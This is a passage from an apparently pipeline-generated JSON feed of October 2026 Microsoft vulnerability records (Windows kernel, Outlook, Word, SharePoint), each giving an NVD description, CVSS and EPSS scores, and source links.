use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70287","type":"primary","publishedAt":"2026-10-13T19:19:48.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70287","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70285","cveId":"CVE-2026-70285","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:48.133Z","updatedAt":"2026-10-21T19:22:08.183Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70285","asOf":"2026-10-21T19:22:08.183Z"},"epss":{"probability":0.00379,"percentile":0.31579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70285&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70285","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70285","type":"primary","publishedAt":"2026-10-13T19:19:48.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70285","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70285&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70285, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70282","cveId":"CVE-2026-70282","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:47.770Z","updatedAt":"2026-10-15T16:17:39.230Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70282","asOf":"2026-10-15T16:17:39.230Z"},"epss":{"probability":0.00912,"percentile":0.59766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70282","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70282","type":"primary","publishedAt":"2026-10-13T19:19:47.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70282","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70282, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70281","cveId":"CVE-2026-70281","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Microsoft Office Outlook allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:47.630Z","updatedAt":"2026-10-15T21:17:45.720Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70281","asOf":"2026-10-15T21:17:45.720Z"},"epss":{"probability":0.01119,"percentile":0.6592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70281","type":"primary","publishedAt":"2026-10-13T19:19:47.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70281","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70276","cveId":"CVE-2026-70276","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:46.873Z","updatedAt":"2026-10-15T17:30:55.110Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70276","asOf":"2026-10-15T17:30:55.110Z"},"epss":{"probability":0.00288,"percentile":0.21171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70276&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70276","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70276","type":"primary","publishedAt":"2026-10-13T19:19:46.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70276","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70276&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70276, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70273","cveId":"CVE-2026-70273","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:46.377Z","updatedAt":"2026-10-22T12:13:26.290Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70273","asOf":"2026-10-22T12:13:26.290Z"},"epss":{"probability":0.00306,"percentile":0.23216,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70273","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70273","type":"primary","publishedAt":"2026-10-13T19:19:46.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70273","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70271","cveId":"CVE-2026-70271","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:45.950Z","updatedAt":"2026-10-22T12:14:36.927Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70271","asOf":"2026-10-22T12:14:36.927Z"},"epss":{"probability":0.00329,"percentile":0.25775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70271","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70271","type":"primary","publishedAt":"2026-10-13T19:19:45.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70271","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70269","cveId":"CVE-2026-70269","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:45.663Z","updatedAt":"2026-10-15T21:17:44.640Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70269","asOf":"2026-10-15T21:17:44.640Z"},"epss":{"probability":0.00789,"percentile":0.5595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70269","type":"primary","publishedAt":"2026-10-13T19:19:45.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70269","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70268","cveId":"CVE-2026-70268","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:45.540Z","updatedAt":"2026-10-15T21:17:44.527Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70268","asOf":"2026-10-15T21:17:44.527Z"},"epss":{"probability":0.00912,"percentile":0.59766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70268&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70268","type":"primary","publishedAt":"2026-10-13T19:19:45.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70268","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70268&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70268, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70267","cveId":"CVE-2026-70267","aliases":[],"kind":"vulnerability","title":"Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:45.420Z","updatedAt":"2026-10-14T19:45:00.953Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70267","asOf":"2026-10-14T19:45:00.953Z"},"epss":{"probability":0.01015,"percentile":0.63045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70267","type":"primary","publishedAt":"2026-10-13T19:19:45.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70267","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70266","cveId":"CVE-2026-70266","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a...","summary":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:45.300Z","updatedAt":"2026-10-14T19:44:57.780Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70266","asOf":"2026-10-14T19:44:57.780Z"},"epss":{"probability":0.01076,"percentile":0.64744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70266","type":"primary","publishedAt":"2026-10-13T19:19:45.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70266","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70257","cveId":"CVE-2026-70257","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:44.127Z","updatedAt":"2026-10-15T16:18:32.420Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70257","asOf":"2026-10-15T16:18:32.420Z"},"epss":{"probability":0.00912,"percentile":0.59767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70257","type":"primary","publishedAt":"2026-10-13T19:19:44.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70257","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 